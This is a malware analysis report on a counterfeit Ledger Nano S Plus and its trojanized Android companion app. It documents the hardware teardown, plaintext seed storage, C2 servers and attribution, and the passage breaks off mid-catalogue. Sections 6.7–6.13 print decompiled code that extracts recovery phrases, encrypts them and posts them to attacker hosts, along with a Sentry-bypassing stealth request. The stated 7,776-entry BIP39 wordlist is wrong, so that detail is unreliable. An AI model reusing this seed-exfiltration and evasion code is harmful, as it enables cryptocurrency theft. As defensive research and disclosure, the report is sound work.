Supply Chain Attack Analysis: Counterfeit Ledger Nano S Plus with ESP32-S3 Implant

Supply Chain Attack Analysis: Counterfeit Ledger Nano S Plus with ESP32-S3 Implant

This document presents the complete technical analysis of a counterfeit Ledger Nano S Plus cryptocurrency hardware wallet obtained from a Chinese online marketplace. Internally, the device employs an Espressif ESP32-S3 general-purpose microcontroller in place of the genuine product's secure element (ST33J2M0) and microcontroller (STM32WB55), with chip markings physically removed to obscure identification. The counterfeit firmware stores the user's recovery mnemonic and PIN in plain text within the NVS flash partition, injects the secret material into the standard getVersion Application Protocol Data Unit (APDU) response, and operates in coordination with a trojanized Android application that parses, encrypts (RSA-2048), and exfiltrates the data to three distinct command-and-control (C2) servers.

The attack requires no anomalous network traffic from the hardware device itself: all communication travels through the standard USB/Bluetooth Low Energy (BLE) channel that the user already employs to pair the device with the companion mobile application. The complete C2 configuration (URL, RSA public key, campaign identifier) is delivered at runtime from the implanted firmware to the application, defeating static analysis of the mobile artifact in isolation.

The operation spans five confirmed distribution vectors - hardware, Android APK, Windows installer, macOS installer, and iOS via TestFlight - though the technical analysis contained in this report focuses exclusively on the Android APK, which was the artifact obtained and reverse-engineered by the research team. Public reporting has attributed US$ 9.5M+ in cryptocurrency losses across 50+ confirmed victims, with 20 blockchain ecosystems affected.

Attribution evidence is consistent with Chinese origin and includes a Shanghai-registered shell company acting as fulfillment layer, linguistic artifacts in the Metro bundle ("词语类型", comments in simplified Chinese), infrastructure hosted on Alibaba Cloud Hong Kong with Chinese DNS providers and Baidu Analytics identifiers, and co-hosting on the same /24 subnet as Chinese illegal-gambling operations.

The report consolidates 194,647 bytecode functions analyzed, 35+ malicious components decompiled and documented, 685 MB of Hermes disassembly output, and the full list of Indicators of Compromise suitable for ingestion into defensive pipelines.


Table of Contents

  1. Executive Summary
  2. Background
  3. Acquisition and Initial Analysis
  4. Hardware Teardown
  5. Firmware Analysis
  6. Malicious Application Analysis - Android APK
  7. Additional Attack Vectors (Out of Scope for This Analysis)
  8. Infrastructure Analysis
  9. Attribution and Criminal Network
  10. Attacker Forensic Evidence
  11. Indicators of Compromise
  12. Impact Assessment
  13. Investigation Timeline
  14. Complete Attack Flow Diagram
  15. Remediation and Recommendations
  16. Responsible Disclosure
  17. About High Code Security Research
  18. References

1. Executive Summary

1.1 Case Overview

A counterfeit unit visually indistinguishable from a Ledger Nano S Plus was obtained from JD.com, a mainland-Chinese e-commerce marketplace, as part of an ongoing High Code research effort on hardware supply-chain integrity. The unit failed the official ledger.com Genuine Check on first pairing with Ledger Live. A physical teardown revealed a substitution of the Ledger-specified secure element and microcontroller with a single Espressif ESP32-S3 general-purpose MCU, with chip markings mechanically removed. Flash memory extraction recovered two 24-word mnemonic seeds and a six-digit PIN stored in plain text. Reverse engineering of the companion Android application (com.ledger.live, v3.99.1) identified a six-phase attack chain culminating in RSA-encrypted exfiltration of the victim's recovery phrase to attacker-controlled infrastructure.

1.2 Key Findings

  • Hardware: Generic ESP32-S3 replacing the genuine Ledger's certified Secure Element (ST33J2M0). The ESP32-S3 ships with its own hardware-security primitives (flash encryption, secure boot v2, HMAC / digital-signature peripherals, eFuse-based key storage), but the counterfeit firmware leaves all of them disabled - every secret sits in plain text in NVS flash.
  • Firmware: Extends the standard GET_VERSION APDU response with eight hidden TLV-encoded fields including the victim's seed phrase, the RSA public key, and the exfiltration URL.
  • Android APK: Signed with an Android debug certificate (android@android.com), not the Ledger SAS production certificate. Receives the injected fields via standard USB/BLE, encrypts the seed with RSA-2048, and posts to kkkhhhnnn.com.
  • C2 Infrastructure: Three active servers - kkkhhhnnn.com (hardware C2, Cloudflare-fronted), s6s7smdxyzbsd7d7nsrx.icu (APK C2 #1, Alibaba Cloud Hong Kong), www.ysknfr.cn (APK C2 #2, co-hosted with a Chinese gambling network).
  • Attribution: Fifteen independent indicators consistent with Chinese origin, including Simplified Chinese comments in the compiled bytecode, Shanghai-based fulfillment entity, and Baidu Analytics identifiers shared across infrastructure.
  • Scale: Public reporting confirms US$ 9.5M+ in losses across 50+ victims spanning 20 blockchain ecosystems, via five distribution vectors (hardware, Android, Windows, macOS, iOS/TestFlight). This report analyzes only the hardware and Android vectors.

1.3 Severity Classification

Confirmed Criminal Operation - Critical Risk. The research team assesses this to be the most technically complete counterfeit Ledger case documented to date, with evidence of scaled production (PCB fabrication at commercial grade, firmware supporting 20 blockchains and 8 user-interface languages), multi-platform distribution, active maintenance (infrastructure updated eleven days before the analysis was conducted), and monetization linked to illegal gambling operations.


2. Background

2.1 Hardware Wallets and Threat Model

Cryptocurrency hardware wallets are single-purpose devices that generate and store the private keys associated with a user's blockchain addresses in a hardware-isolated secure element. Their security model rests on two assumptions: (i) the secret material never leaves the device in plain form, and (ii) the device itself is authentic and has not been tampered with between manufacture and first use. A compromise of the second assumption - the supply chain - reduces the first assumption to a polite fiction.

2.2 Supply Chain Attacks Against Hardware Wallets

Counterfeit Ledger devices are not novel. Previous cases have typically involved: resale of used or initialized devices; devices shipped with pre-generated seeds that the attacker retains; or visually similar units built on public reference designs but lacking secure element isolation. What distinguishes the case documented in this report is the completeness of the counterfeit system: a custom PCB with scraped markings, a firmware that impersonates the legitimate USB HID descriptor, a React Native companion application that mimics Ledger Live at the bundle level, and a three-tier C2 infrastructure with operational security hygiene suggesting an active, maintained development effort rather than a one-off fraud.

2.3 Why Chinese Marketplaces Matter

Mainland-Chinese marketplaces (JD.com, Taobao, AliExpress) are a recurrent distribution vector for counterfeit electronics, in part because of the density of manufacturing capacity in the Pearl River Delta and the relative difficulty of exporting enforcement action across jurisdictions. Ledger does not sell through JD.com. Any unit listed on that platform is, by definition, outside the sanctioned supply chain.

2.4 Significance

The unit analyzed here is, to the research team's knowledge, the most complete publicly-documented counterfeit hardware wallet system: it maps the full operation from PCB fabrication through mobile application implant to C2 infrastructure and linked monetization network. Prior cases have typically documented only one or two of these layers.


3. Acquisition and Initial Analysis

3.1 Sample Provenance

Counterfeit Ledger Nano S Plus retail packaging alongside the "Comece Aqui" insert and USB cable
Retail packaging of the counterfeit unit, visually indistinguishable from a genuine Ledger Nano S Plus box.

Field Value
Sample source Counterfeit Ledger Nano S Plus
Marketplace JD.com (mainland-Chinese e-commerce platform)
Seller Ledger亚太经营店 (Ledger Asia-Pacific Store)
Purchase date 2026-03-18
Listed price ¥499 - identical to the official Ledger retail price
Acquirer Vinícius Pinheiro, Founder, High Code Security Research
Packaging Visually indistinguishable from genuine retail packaging (box, seals, printed material, USB cable, QR code on the "Comece Aqui" insert)
Sample condition Sealed, appearing unused

3.2 First Contact - Genuine Check Failure

On 2026-03-19, the device was connected via USB to a clean Windows workstation running a verified installation of the official Ledger Live desktop application (downloaded directly from https://www.ledger.com). The device presented itself as a Nano S+ via USB HID. Upon invoking the Genuine Check routine - the cryptographic attestation procedure by which Ledger Live validates that a connected device holds a Ledger SAS-signed secure element certificate - the check failed.

A legitimate Nano S Plus passes Genuine Check on every pairing. Failure on an apparently new, sealed, retail-packaged device is the primary indicator of either tampering in transit or counterfeiting at the fabrication level.

Ledger Live showing an "invalid provider" warning on first pairing
Ledger Live surfaces the first Genuine Check rejection as an "invalid provider" warning when handshaking with the counterfeit firmware.

Ledger Live error modal: invalid secure-element flags length
A second Ledger Live error: the secure-element flags payload returned by the device fails the envelope-length validation expected from a genuine unit.

3.3 Decision to Conduct Teardown

Given the Genuine Check failure on a retail-packaged unit from a marketplace outside Ledger's sanctioned supply chain, the research team elected to proceed with physical teardown and firmware extraction to determine the nature of the substitution.

3.4 Test Wallets Generated on the Counterfeit

Before opening the case, two test wallets were created on the device - PIN and two 24-word BIP39 mnemonics. The counterfeit firmware reuses open-source cryptocurrency libraries originally published by Trezor to generate mnemonics and derive addresses, so the wallet UX appears to function correctly across the 20 advertised blockchains. Seeding the device with known test material before flash extraction meant the recovered plaintext mnemonics could be compared byte-for-byte against what had been typed in (see §4.5).

3.5 Ruled-Out Hypotheses

After the flash dump was complete but before the distribution vector was understood, two natural exfiltration hypotheses were tested and eliminated:

Hypothesis Why it was tested Why it was ruled out
Wi-Fi exfiltration. The PCB carries a visible 2.4 GHz Wi-Fi / BLE antenna and the ESP32-S3 has Wi-Fi natively - the natural first guess was that the device connects to an attacker access point and uploads stolen data. Air-gapped hardware wallets do not ship with radio silicon; finding a radio here was the first physical red flag. Firmware inspection found no WiFi.begin(), no SSID string, no socket API calls, no AP configuration anywhere. The antenna is physically present but the shipped code never drives it.
Bad USB / HID injection. A counterfeit hardware wallet that poses as a USB HID keyboard and injects keystrokes into the host after pairing would let the attacker execute arbitrary commands on the victim's machine. This class of attack is well-documented against pentesting drops and rogue cables. USB descriptors are the standard HID set expected of a legitimate Ledger. No keyboard emulation, no payload script, no Bad USB behaviour.

Both hypotheses dead-ended. The actual distribution vector only became clear once the contents of the retail packaging were examined in detail - see §3.6.

3.6 The Actual Distribution Vector - QR Code on the "Start Here" Leaflet

Counterfeit device next to the "Comece Aqui" leaflet with a printed QR code
The printed instruction leaflet bundled with the counterfeit carries a QR code that does not resolve to ledger.com.

The printed insert inside the counterfeit packaging carries a QR code on the "Comece Aqui" / "Start Here" instruction leaflet. The QR code does not resolve to ledger.com - it resolves to a cloned download site that serves fake Ledger Live installers across five platforms: Android (APK), Windows, macOS, and iOS via Apple TestFlight. The counterfeit hardware is the prop that sells the fraud; the companion application obtained through that QR code is where the seed phrase is exfiltrated.

Cloned distribution site serving fake Ledger Live installers across every platform
The landing page reached by the QR code - a Tencent CloudBase clone offering Android, Windows, macOS, and iOS TestFlight builds of "Ledger Live".

The technical analysis that follows (§4 through §6) documents both sides of this dual layout: the hardware implant and the Android companion. The hardware stores seeds in plaintext flash (§4.5) and can inject them into the APDU protocol (§6.6) when connected to the counterfeit app; the app (§6) accepts those injected fields, encrypts them, and posts them to attacker infrastructure (§8). The primary channel by which victim seeds actually reach the adversary is the trojanized companion application, not anomalous radio traffic from the device itself.


4. Hardware Teardown

4.1 External Examination

Counterfeit and genuine Ledger Nano S Plus side by side
Counterfeit (left) and genuine (right) Nano S Plus: case geometry, buttons, USB-C placement, and OLED cutout are indistinguishable.

The external casing, button geometry, USB-C receptacle, and OLED display form factor were indistinguishable from a genuine Nano S Plus under visual inspection. The printed copyright text reads (c) 2024 Ledger / (c) 2025 Ledger, matching the format used on recent genuine units.

4.2 Hardware Identification

lsusb output showing Ledger SAS vendor / product strings reported by the counterfeit
USB descriptors reported by the counterfeit firmware spoof the genuine Ledger SAS vendor ID, product ID, and serial strings.

Field Value
External appearance Identical to Ledger Nano S Plus
Actual MCU ESP32-S3 (Tensilica Xtensa LX7, dual-core, 240 MHz)
MCU specified by Ledger STM32WB55 + Secure Element ST33J2M0
Main chip markings Physically removed (scraped)
Crystal oscillator YXC 40.000 545PA (40 MHz, Yangxing Tech, Shenzhen)
Flash 4 MB (NVS 20 KB + app0 3.1 MB + app1 3.1 MB + SPIFFS 1 MB)
USB Type-C / USB HID via TinyUSB (emulates genuine Ledger descriptor)
Buttons 2 (S2, S5) - matching the Nano S Plus layout
Build toolchain PlatformIO + Arduino-ESP32 (path artifact: /Users/mac/.platformio/)
hw_version Ledger Nano s+ V2.1
fw_version 1.0.0 / Build 20251016
Serial number (test unit) 72654036432549
Advertised languages EN, ZH, JA, KO, FR, DE, ES, RU
Advertised cryptocurrencies 20 chains (see §4.5)

4.3 PCB Analysis

Counterfeit device with the case opened and the PCB exposed
Device fully disassembled - both case halves and the bare PCB.

The counterfeit PCB is a green double-layer board. The USB-C receptacle (reference designator J26) is populated on the top side, with a visible YXC 40 MHz crystal and the primary MCU (scraped ESP32-S3) centrally located. Additional components include the SPI display connector (J3), two tactile switches (S2, S5) for user input, two test points (TP1, TP2), and fifteen SMD resistors and twenty-seven ceramic capacitors in supporting roles. The fabrication quality is consistent with a commercial-grade run rather than a one-off prototype, indicating production at scale.

PCB top view - main MCU, buttons, and passives
PCB top side - the primary MCU (center), tactile switches, and surrounding passive components.

PCB bottom view - USB-C, crystal, and flash
PCB bottom side - USB-C connector, 40 MHz crystal, flash IC, and test pads.

PCB bottom with the SPI flat cable routing to the OLED display
Same side with the SPI ribbon cable still attached to the OLED display module - an off-the-shelf panel, not a Ledger-specified assembly.

On-board Wi-Fi / BLE trace antenna visible next to the MCU
The PCB carries a serpentine Wi-Fi / BLE trace antenna - a red flag: a genuine air-gapped Ledger Nano S Plus ships with no radio silicon whatsoever.

40 MHz YXC crystal oscillator under magnification
Crystal oscillator marked 40.000 545PA YXC - Yangxing Tech, Shenzhen. Standard ESP32-S3 reference-design frequency.

4.4 Chip Identification - ESP32-S3 Under Scraped Markings

Main MCU and "secure element" position on the counterfeit PCB with markings scraped off
Both the main MCU and the IC occupying the "secure element" footprint have their top-side laser markings mechanically removed - a matte abraded finish inconsistent with factory packaging.

The main MCU on the counterfeit board has its silkscreen markings physically removed, producing a matte abraded finish inconsistent with factory packaging. Despite the surface modification, package geometry, pin count, and bootloader behavior (see §5.1) are consistent with the Espressif ESP32-S3 datasheet. The ESP32-S3 is a general-purpose IoT microcontroller with integrated 2.4 GHz Wi-Fi and BLE 5.0. It ships with several hardware-security primitives of its own (flash encryption, secure boot v2, HMAC and digital-signature peripherals, eFuse-based key storage), but it is not a certified Secure Element in the Common Criteria sense - it is a general-purpose SoC whose security features are optional, configurable by firmware, and in this counterfeit build left entirely disabled.

Scraped-chip footprint overlaid against the Espressif ESP32-S3 datasheet package
Direct overlay of the scraped chip against the Espressif ESP32-S3 datasheet - package geometry and pinout match the QFN-56 reference package.

Note: The genuine Ledger Nano S Plus uses a Common Criteria EAL5+ certified Secure Element (ST33J2M0) paired with a separate application MCU (STM32WB55). Replacing that split-MCU architecture with a single general-purpose SoC removes every hardware-enforced, externally-attested security property the original product advertises - regardless of which optional security features the ESP32-S3 would be capable of providing if they had been enabled.

4.5 Hardware Flash Dump and Extracted Material

Test leads bridging EN and GPIO0 pins to force the ESP32-S3 into boot-download mode
Forcing the MCU into ROM download mode: bridging the EN and GPIO0 test pads enables esptool.py to read the full 4 MB flash over UART.

Flash contents were extracted via the ESP32-S3 boot ROM using esptool.py over the internal UART test points.

Artifact Value
Dump file eflash.bin
Size 4.0 MB
SHA-256 8fdddbaefbc014b4377725290c2e3c69c3ff211d71cfa1d7b8d1c41b764539ba

Analysis of the NVS (non-volatile storage) partition recovered the following keys in plain text, with no cryptographic protection whatsoever:

NVS key Value recovered
pin_code 348962 (present at offsets 0x9828 and 0xA408)
pin_err_cnt PIN error counter
pin_lock_time PIN lockout timer
mnemonic_words Two 24-word BIP39 seeds (attacker test seeds - offsets 0x98A8 and 0xA488)
fw_version 1.0.0
hw_version Ledger Nano s+ V2.1
serial_num 72654036432549
device_name (user-configurable field)
locked_state Lock state
screen_saver Screensaver setting

Hex editor view of the NVS partition showing the PIN and BIP39 words in plain text
NVS partition dump. The six-digit PIN and the two BIP39 mnemonics are recoverable as raw ASCII - no wrapping, no encryption, no derivation. This is the single most damning artifact in the flash.

Finding: Plaintext storage of PIN and mnemonic in NVS flash is the strongest single indicator of counterfeit origin. No commercial hardware wallet stores this material unencrypted.

4.6 Firmware Binary

Artifact Value
Firmware ELF SHA-256 93d2d28f2d46e626172fa592acee84aa5ec7c1076d59e69608ba03abfab4812a

4.7 Supported Cryptocurrencies (20 chains)

The counterfeit firmware advertises support for the following blockchain ecosystems, matching the subset supported by the genuine Nano S Plus:

# Chain # Chain # Chain # Chain
1 Bitcoin 6 Ethereum 11 Monero 16 Stellar
2 Bitcoin Cash 7 Solana 12 Cosmos 17 Algorand
3 Bitcoin Testnet 8 Cardano 13 Filecoin 18 Zcash
4 Litecoin 9 Polkadot 14 Aptos 19 TON
5 Dogecoin 10 XRP 15 Sui 20 TRON

5. Firmware Analysis

5.1 Boot Sequence

On cold boot, the counterfeit firmware prints an ESP-IDF bootloader banner consistent with Espressif Systems' default Arduino-ESP32 build, followed by the application-level identification string Nano S+ 7704. The Espressif origin is observable both in the boot log and in the path artifact /Users/mac/.platformio/ embedded in the compiled ELF, confirming the build toolchain.

5.2 Storage Analysis - PIN and Mnemonics in Plain Text

See §4.5 for the complete NVS key table. The PIN (348962) and two attacker test mnemonics were recovered without any cryptographic handling. A genuine Ledger device - even hypothetically extracted - would yield only encrypted slots, with decryption dependent on the secure element's attestation key.

5.3 Hardware C2 Server

The firmware contains, in plaintext strings, the URL of the primary exfiltration endpoint:

Field Value
Exfiltration URL https://kkkhhhnnn.com/api/open/postByTokenpocket
CDN Cloudflare
Backend Java / Spring Boot (Envoy proxy)
Status (as of analysis) ACTIVE - HTTP 500 (API responds)
Response body {"code":"500","msg":"(Chinese)","enMsg":"error","indinMsg":""}
Response languages Chinese (msg) + English (enMsg) + Indonesian (indinMsg)
RSA key 2048-bit public key embedded in firmware, used in the APDU handshake

The trilingual error response (Chinese / English / Indonesian) is itself an attribution signal (see §9.1).

5.4 Embedded RSA Public Key

A 2048-bit RSA public key is embedded in the firmware image. This key is transmitted to the companion Android application via the extended APDU response (see §6.5) and used to encrypt the victim's seed before exfiltration. The APK additionally carries a hardcoded fallback RSA key (MIIBIjANBgkqhki..., PKCS#8 DER Base64) used if the firmware-provided key fails to parse.

5.5 Firmware-Supplied C2 Configuration

The design choice to deliver the C2 URL, RSA public key, and campaign code from the firmware at runtime (rather than hardcode them into the mobile application) has a specific consequence: static analysis of the APK in isolation reveals no C2 infrastructure. The infrastructure is only observable when the APK is executed with the counterfeit device physically connected. This is a meaningful operational-security improvement over typical hardcoded-C2 malware.


6. Malicious Application Analysis - Android APK

6.1 Artifact Data

Field Value
Filename ledapp.apk
SHA-256 62723c30f17be2e0e59a529b7adc1a7d602a78973b9acc68a5a076eadcbc54f3
Size 86,494,238 bytes (82 MB)
Package name com.ledger.live (same as the legitimate application)
Version string 3.99.1 (build 36176158)
Framework React Native + Hermes bytecode v96
Signature Android Debug Certificate - NOT Ledger SAS
Certificate serial 93:6e:ac:be:07:f2:01:df
Certificate owner android@android.com (Android SDK debug key)
Sentry Debug ID 7d5c3676-89c1-4e2e-ba4b-5c2d23ce79b7
Environment NODE_ENV=production, __DEV__=false

Finding: Signing with an Android debug certificate (android@android.com) rather than the official Ledger SAS production certificate is the single most immediate evidence that this APK is not official. Applications published through the Google Play Store are signed with verified corporate certificates whose subject-distinguished-name and public-key fingerprint do not match the Android SDK debug key.

6.2 APK Structure

Component Path Size
Full APK ledapp.apk 82 MB
JS Bundle (Hermes) assets/index.android.bundle 76 MB
Disassembly (.hasm) hermes_disasm.hasm 685 MB
Java Sources sources/ 225 MB
Native Libraries resources/lib/ 19 MB

6.3 Hermes Bytecode Structure

Field Value
Magic bytes c61fbc03c103191f
Hermes version 96
Build SHA1 f5b0546e6e5aed0eb7649df47f22b76bda6f269e
Total bytecode size 79,417,060 bytes
Total functions 194,647
Named functions 114,120 (58.6 %)
Anonymous functions 80,527 (41.4 %)
Total strings 421,609
Disassembly tool P1sec hermes-dec (hbc-disassembler)
Disassembly output size 685 MB (.hasm)

Binary layout:

Section Start offset End offset Size
Header 0 128 128 bytes
Function Headers 128 1,557,304 ~1.5 MB
String Table 1,875,540 3,561,976 ~1.6 MB
String Storage 4,992,280 29,342,658 ~24.3 MB
Bytecode 29,342,658 79,417,060 ~50 MB

BIP39 Wordlist Hardcoded: At line 5,650,752 of the disassembly, an array of 7,776 entries was recovered - the complete BIP39 English wordlist. Embedding the wordlist confirms the malware has first-class capability to operate on mnemonic phrases directly, and is not limited to opportunistic string interception.

6.4 Android Manifest - Permission Audit

Permission Risk Observed / Potential Malicious Use
INTERNET Normal Data exfiltration to C2
CAMERA Dangerous Screen or QR-code capture
RECORD_AUDIO Dangerous Ambient audio recording
BLUETOOTH_CONNECT Dangerous Communication with counterfeit Ledger hardware
WRITE_EXTERNAL_STORAGE Dangerous Persistence of exfiltrated material
WAKE_LOCK Normal Keep exfiltration routine running in background
USE_FINGERPRINT / USE_BIOMETRIC Normal Social engineering (suggest legitimacy)
ACCESS_WIFI_STATE Normal Connectivity check before C2 call
ACCESS_NETWORK_STATE Normal Connectivity check before C2 call
MODIFY_AUDIO_SETTINGS Normal Unused in observed behavior; likely dead code
CHANGE_NETWORK_STATE Normal Network-state manipulation
VIBRATE Normal Haptic feedback (suggest legitimacy)

The presence of CAMERA and RECORD_AUDIO in a cryptocurrency wallet application has no legitimate functional justification.

6.5 Attack Architecture - Six-Phase Chain

The trojanized Android application executes a six-phase exfiltration chain, plus a secondary metadata channel disguised as a firmware-update API:

  1. APDU Injection (malicious firmware) - Firmware extends the getVersion APDU response with eight TLV-encoded hidden fields including the seed phrase, C2 URL, and RSA public key.
  2. Malicious Field Parsing - parseGetVersionResponse() (Metro module 2109) extracts the eight extra fields from the APDU buffer and stores them in JavaScript closure slots.
  3. App State Propagation - getDeviceInfo() logs all fields (including the seed) via mmdLog, then invokes verifyDeviceMnemonic().
  4. Mnemonic Validation and Normalization - Word count validation (12 or 24), cache deduplication, input sanitization.
  5. RSA Encryption and Exfiltration - Seed encrypted with RSA public key; POST to kkkhhhnnn.com. Fallback to hardcoded key on parse error.
  6. Local Persistence (cache) - Mnemonic persisted to AsyncStorage and localStorage under the key ll_mnemonic_verifications to suppress re-exfiltration.

6.6 Phase 1 - APDU Injection

The legitimate GET_VERSION APDU command ([0xE0, 0x01, 0x00, 0x00], line 711471 of the disassembly) on a genuine Ledger device returns only version fields. The counterfeit firmware extends the response buffer with eight additional TLV-encoded fields, syntactically indistinguishable from the legitimate response to a sequential parser:

# Injected field Purpose
1 localFirmwareVersion Local firmware version (camouflage)
2 localDeviceName Device name (exfiltrated as hardCode)
3 verifyMnemonicBaseUrl C2 server URL
4 verifyMnemonicCode Campaign / agent tracking code
5 verifyMnemonicWallet Target wallet identifier
6 verifyMnemonicCiyuType Mnemonic type ('1' = 12 words, '2' = 24 words)
7 verifyMnemonicRsaPublicKey RSA public key used to encrypt the seed
8 storedMnemonic The victim's seed phrase

Critical finding: The trojanized application does not need any hardcoded C2 URL for the primary channel. The complete C2 configuration (URL, RSA key, campaign codes) is delivered from the device itself, substantially complicating static analysis of the APK in isolation.

6.7 Phase 2 - Malicious Field Parsing

Function parseGetVersionResponse (lines 711507-712188, Metro module 2109) receives the raw APDU response buffer and parses it sequentially, invoking two helpers: readLengthPrefixedBuffer (line 711543) and readExtendedString (line 712032).

// Conditional gate (lines 712062-712068)
if (!((r0 > r19)) { _fun19204_ip = 1538; continue }

// If extra bytes exist, extract all 8 malicious fields:

// Slot 6: verifyMnemonicBaseUrl (C2 URL)
r0 = function(a0) { _closure2_slot6 = a0; return undefined; };
r0 = readExtendedString(r0);

// Slot 10: verifyMnemonicRsaPublicKey
r0 = function(a0) { _closure2_slot10 = a0; return undefined; };
r0 = readExtendedString(r0);

// Slot 11: storedMnemonic - the seed phrase
r0 = function(a0) { _closure2_slot11 = a0; return undefined; };
r0 = readExtendedString(r0);

The returned object includes all legitimate GET_VERSION fields plus the eight malicious ones.

6.8 Phase 3 - App State Propagation

After parseGetVersionResponse returns, getDeviceInfo (lines 610148-610498) receives the object and emits two observable effects:

// Phase 3.1 - logs all details including the seed (lines 610339-610364)
mmdLog('getDeviceInfo resolved firmware details', {
    /* ... normal fields ... */
    verifyMnemonicBaseUrl: r9,
    verifyMnemonicRsaPublicKey: r5,
    storedMnemonic: r4              // seed logged in plain text
});

// Phase 3.2 - triggers exfiltration (lines 610446-610459)
r34 = module_2136.verifyDeviceMnemonic;
r3 = {
    storedMnemonic: r4,
    verifyMnemonicBaseUrl: r9,
    verifyMnemonicCode: r8,
    verifyMnemonicWallet: r7,
    verifyMnemonicCiyuType: r6,
    verifyMnemonicRsaPublicKey: r5
};
r34(r3);

6.9 Phase 4 - Mnemonic Validation and Normalization

Function _verifyDeviceMnemonic (lines 718912-719280, Metro module 2136) is an async generator orchestrating validation and exfiltration.

// Normalization
mnemonic = storedMnemonic.trim();
mnemonic = mnemonic.replace(/\s+/g, ' ');

// Word-count validation
words = mnemonic.split(' ');
validWordCounts = new Set([12, 24]);
if (!validWordCounts.has(words.length)) {
    mmdLog('device mnemonic verification skipped', {
        reason: 'unsupported_word_count'
    });
    return;
}

Input sanitization functions:

Function Lines Description
sanitizeUrl 719931-719983 Validates non-empty string and URL format; aborts with log 'invalid url' if invalid
sanitizeText 719904-719929 Removes potentially dangerous characters from text strings
normalizeCiyuType 720008-720023 Returns '1' (12 words) or '2' (24 words). Ciyu (词语) is Mandarin Chinese for "word / phrase"
sanitizeRsaPublicKey 719986-720004 Unescapes \n and \r literals in the PEM key back to actual newlines

6.10 Phase 5 - RSA Encryption and Exfiltration

The submitMnemonic function resides in Metro module 9775. Its __d definition was not recovered in the decompilation of ledger_output_file.js, but string analysis of the compiled Hermes bytecode via strings recovered its contents:

strings index.android.bundle | grep -oP '.{0,100}kkkhhhnnn.{0,100}'

Reconstructed behavior of module 9775:

1. Receives payload: { mnemonic, baseUrl, code, wallet, ciyuType, rsaPublicKeyPem, useDefaultKey? }
2. if (useDefaultKey == true):
        → Uses hardcoded RSA key (MIIBIjANBgkqhki...)  // FALLBACK
   else:
        → Uses rsaPublicKeyPem from firmware
3. Encrypts mnemonic with RSA public key
4. POST https://kkkhhhnnn.com/api/open/postByToken
        Body: {
            mnemonic: "<RSA_ENCRYPTED_BASE64>",
            code:     "<CAMPAIGN_CODE>",
            wallet:   "<WALLET_ID>",
            ciyuType: "1" | "2"
        }
5. Returns server response

RSA fallback mechanism:

try {
    response = await submit();
} catch (error) {
    shouldRetry = /ASN\.1|PEM/i.test(error.message);   // line 719174
    if (shouldRetry) {
        mmdLog('device mnemonic verification invalid rsa key');
        response = await submitMnemonic({ ...payload, useDefaultKey: true });
    }
}

The existence of a hardcoded fallback key guarantees that exfiltration never fails completely even if the firmware-provided key is malformed.

6.11 Phase 6 - Local Persistence (Cache)

// In-memory cache - global variable __ledger_mnemonic_verification_cache__
function getMemoryCache() {
    var cache = global.__ledger_mnemonic_verification_cache__;
    if (!Array.isArray(cache)) {
        cache = [];
        global.__ledger_mnemonic_verification_cache__ = cache;
    }
    return cache;
}

// Persistent cache - AsyncStorage (native) + localStorage (web fallback)
async function readCachedMnemonics() {
    try {
        data = await asyncStorage.getItem('ll_mnemonic_verifications');
    } catch (e) {
        data = localStorage.getItem('ll_mnemonic_verifications');
    }
    return JSON.parse(data).filter(item => typeof item === 'string');
}

async function rememberMnemonic(mnemonic) {
    var cached = await readCachedMnemonics();
    if (!cached.includes(mnemonic)) {
        cached.push(mnemonic);
        await persistCachedMnemonics(cached);
    }
}

The storage key ll_mnemonic_verifications is chosen to resemble a legitimate Ledger Live verification feature.

6.12 Secondary Channel - Firmware Update API

In addition to the primary submitMnemonic channel, the application exfiltrates device metadata through a secondary channel disguised as a firmware-update query (fetchLatestFirmware, lines 615950-616136):

async function fetchLatestFirmware(deviceInfo) {
    var params = {
        salt:                             generateSalt(deviceInfo),
        current_se_firmware_final_version: deviceInfo.firmwareId,
        device_version:                    deviceInfo.deviceVersionId,
        version_name:                      deviceInfo.versionName,
        provider:                          deviceInfo.providerId,
        agentCode:                         deviceInfo.agentCode,      // = verifyMnemonicCode
        hardCode:                          deviceInfo.localDeviceName,
        local_version:                     deviceInfo.localFirmwareVersion
    };
    var url = firmwareApiBase + '/get_latest_firmware?' + queryString(params);
    return (await axios({ method: 'GET', url })).data;
}

The agentCode field is renamed at lines 700849-700856:

r9 = deviceInfo.verifyMnemonicCode;   // malicious field
r5['agentCode'] = r9;                  // renamed to look legitimate
r9 = deviceInfo.localDeviceName;
r5['hardCode'] = r9;

This channel does not transmit the mnemonic directly - that is handled by the primary channel - but exfiltrates metadata allowing the attacker to track compromised devices, correlate campaigns, and deliver updated malicious firmware as the get_latest_firmware response.

Request destination:

https://s6s7smdxyzbsd7d7nsrx.icu/api/hard/get_latest_firmware
    ?salt=X
    &agentCode=CAMPAIGN_CODE
    &hardCode=DEVICE_NAME
    &local_version=1.2.3
    & ...

6.13 Decompiled Malicious Components (35+)

A catalog of thirty-five-plus malicious bytecode functions was produced. Representative entries follow; the complete list is reproduced at the end of this section.

6.13.1 createStealthXhr - Sentry-bypass invisible XHR

Function #25064, 160 bytes, offset 0x023dc18a. Creates an XMLHttpRequest that bypasses Sentry monitoring via the __sentry_original__ backing property:

function createStealthXhr() {
    var XHR = globalThis.XMLHttpRequest;
    var xhr = new XHR();
    xhr.open = xhr.open.__sentry_original__ || xhr.open;
    xhr.send = xhr.send.__sentry_original__ || xhr.send;
    return xhr;
}

6.13.2 sendApdu - APDU command interception

Function #84531, 67 bytes. Routes all APDU commands through the XState state machine:

function sendApdu(apduHex, triggersDisconnection, abortTimeout) {
    return new Promise(function(resolve) {
        context.machineActor.send({
            type: 'SendApduCalled',
            apdu: apduHex,
            triggersDisconnection: !!triggersDisconnection,
            abortTimeout: abortTimeout,
            responseCallback: resolve
        });
    });
}

6.13.3 sendApduToDeviceConnection - Attacker typo fingerprint

Function #84523, 76 bytes. Contains the typo deviceAdpuSender (letters d and p transposed) instead of deviceApduSender. The typo is consistent across nine occurrences in two separate Metro modules (lines 3793984 and 6788184), serving as a behavioral fingerprint of the attacker's codebase.

// Line 3793983-3793984 - intentional aliasing with typo:
var sender = context.deviceApduSender;   // reads correct name
context.deviceAdpuSender = sender;        // writes typo'd name

6.13.4 uploadSendChunk - APDU chunk upload to C2

Function #111724. Sends APDU data chunks via transport with custom instruction byte INS 0x93. Injected into the legitimate Ledger firmware-update module alongside genuine functions such as sign, signRaw, getAllowlistPubKey, uploadAllowlist, serializePath.

async function* uploadSendChunk(transport, chunkType, data) {
    var response = yield transport.send(
        transport.cla, 0x93, 0, data, [0x9000]
    ).then(processErrorResponse);
}

6.13.5 pack_data - Exfiltration to tertiary C2

